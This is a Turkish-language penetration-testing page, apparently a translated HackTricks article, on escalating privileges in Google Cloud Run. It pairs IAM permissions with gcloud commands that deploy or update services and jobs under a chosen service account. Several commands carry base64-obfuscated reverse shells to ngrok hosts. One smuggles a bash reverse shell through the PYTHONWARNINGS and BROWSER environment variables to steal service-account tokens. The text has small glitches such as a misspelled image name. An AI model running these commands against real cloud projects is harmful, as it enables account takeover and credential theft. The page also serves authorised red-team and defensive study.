GCP - Run Privesc

AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'i desteklemenin diğer yolları:

Cloud Run

Cloud Run hakkında daha fazla bilgi için şuraya bakın:

GCP - Cloud Run Enum

run.services.create, iam.serviceAccounts.actAs, run.routes.invoke

Bu izinlere sahip bir saldırgan, rastgele kod çalıştıran bir çalıştırma hizmeti oluşturabilir (rastgele Docker konteyneri), bir Hizmet Hesabını buna ekleyebilir ve kodun Hizmet Hesabı belirteçini metadatanın dışına çıkarmasını sağlayabilir.

Bu yöntem için bir saldırı betiği burada bulunabilir ve Docker imajı burada bulunabilir.

gcloud run deploy kullanırken sadece hizmet oluşturmak yerine update iznine ihtiyaç duyar. Bir örneğe buradan bakın.

run.services.update, iam.serviceAccounts.actAs

Öncekine benzer ancak bir hizmeti günceller:

gcloud run deploy hacked \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

run.services.setIamPolicy

Kendinize bulut Run üzerinde önceki izinleri verin.

run.jobs.create, run.jobs.run, (run.jobs.get)

Komutta belirtilen hizmet hesabını çalmak için ters kabukla bir işlem başlatın. Bir sızma burada bulabilirsiniz.

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

Öncekiyle benzer şekilde bir işi güncellemek ve SA'yı güncellemek, komutu ve çalıştırmayı mümkün kılar:

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now

run.jobs.run, run.jobs.runWithOverrides, (run.jobs.get)

İş yürütme ortam değişkenlerini kötüye kullanarak keyfi kod yürüterek ters kabuk almak için iş yürütme ortam değişkenlerini kötüye kullanın ve konteynerın içeriğini (kaynak kodu) boşaltmak ve metaverideki SA'ya erişmek:

gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"

çrun.jobs.setIamPolicy

Kendinize önceki izinleri Cloud Jobs üzerinde verin.

Referanslar

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated